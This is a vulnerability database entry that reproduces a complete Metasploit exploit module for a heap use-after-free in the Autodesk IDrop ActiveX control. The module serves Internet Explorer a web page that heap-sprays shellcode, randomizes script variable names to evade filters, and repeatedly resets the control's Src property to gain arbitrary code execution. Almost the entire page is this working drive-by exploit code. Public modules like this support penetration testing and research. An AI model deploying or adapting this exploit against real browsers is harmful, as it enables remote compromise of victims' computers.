Autodesk IDrop ActiveX Control Heap Memory Corruption

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Autodesk IDrop ActiveX Control Heap Memory Corruption vulnerabilit

                                                ##
# $Id: autodesk_idrop.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Autodesk IDrop ActiveX Control Heap Memory Corruption&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a heap-based memory corruption vulnerability in
				Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160.
				An attacker can execute arbitrary code by triggering a heap use after
				free condition using the Src, Background, PackageXml properties.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;Elazar Broad &#60;elazarb[at]earthlink.net&#62;&#39;,   # Original exploit [see References]
					&#39;Trancer &#60;mtrancer[at]gmail.com&#62;&#39;            # Metasploit implementation
				],
			&#39;Version&#39;        =&#62; &#39;$Revision: 9179 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;OSVDB&#39;, &#39;53265&#39; ],
					[ &#39;BID&#39;, &#39;34352&#39; ],
					[ &#39;URL&#39;, &#39;http://www.milw0rm.com/exploits/8560&#39; ],
					[ &#39;URL&#39;, &#39;http://marc.info/?l=full-disclosure&m=123870112214736&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;         =&#62; 1024,
					&#39;BadChars&#39;      =&#62; &#34;\x00\x09\x0a\x0d&#39;\\&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0&#39;, { &#39;Offset&#39; =&#62; 900, &#39;Ret&#39; =&#62; 0x0C0C0C0C } ]
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Apr 2 2009&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Setup exploit buffers
		nops 	  = Rex::Text.to_unescape([target.ret].pack(&#39;V&#39;))
		blocksize = 0x40000
		fillto    = 550
		offset 	  = target[&#39;Offset&#39;]

		# Randomize the javascript variable names
		idrop	     = rand_text_alpha(rand(100) + 1)
		j_function   = rand_text_alpha(rand(100) + 1)
		j_shellcode  = rand_text_alpha(rand(100) + 1)
		j_nops       = rand_text_alpha(rand(100) + 1)
		j_headersize = rand_text_alpha(rand(100) + 1)
		j_slackspace = rand_text_alpha(rand(100) + 1)
		j_fillblock  = rand_text_alpha(rand(100) + 1)
		j_block      = rand_text_alpha(rand(100) + 1)
		j_memory     = rand_text_alpha(rand(100) + 1)
		j_counter    = rand_text_alpha(rand(30) + 2)
		j_ret        = rand_text_alpha(rand(100) + 1)
		j_mem        = rand_text_alpha(rand(100) + 1)

		# Build out the message
		content = %Q|
&#60;html&#62;
&#60;head&#62;
&#60;script language=&#39;javascript&#39; defer&#62;
function #{j_function}() {
	#{j_shellcode}=unescape(&#39;#{shellcode}&#39;);
	#{j_nops}=unescape(&#39;#{nops}&#39;);
	#{j_headersize}=20;
	#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
	while(#{j_nops}.length&#60;#{j_slackspace})#{j_nops}+=#{j_nops};
	#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
	#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
	while(#{j_block}.length+#{j_slackspace}&#60;#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
	#{j_memory}=new Array();
	for(#{j_counter}=0;#{j_counter}&#60;#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

	var #{j_ret} = &#39;&#39;;
	for (#{j_counter}=0;#{j_counter}&#60;=#{offset};#{j_counter}++) {
		#{j_ret} += unescape(&#39;%u0a0a&#39;);
	}
	for(#{j_counter}=0;#{j_counter}&#60;20;#{j_counter}++) {
		try {
			var #{j_mem} = #{idrop}.Src;
			#{idrop}.Src = &#39;http://&#39; + #{j_ret};
			#{idrop}.Src = #{j_mem};
			#{idrop}.Src = &#39;http://&#39; + #{j_ret};
		} catch(e){}

	}
}
&#60;/script&#62;
&#60;/head&#62;
&#60;body onload=&#39;return #{j_function}();&#39;&#62;
&#60;object classid=&#39;clsid:21E0CB95-1198-4945-A3D2-4BF804295F78&#39; id=&#39;#{idrop}&#39;&#62;&#60;/object&#62;
&#60;/body&#62;
&#60;/html&#62;
			|

		print_status(&#34;Sending exploit to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1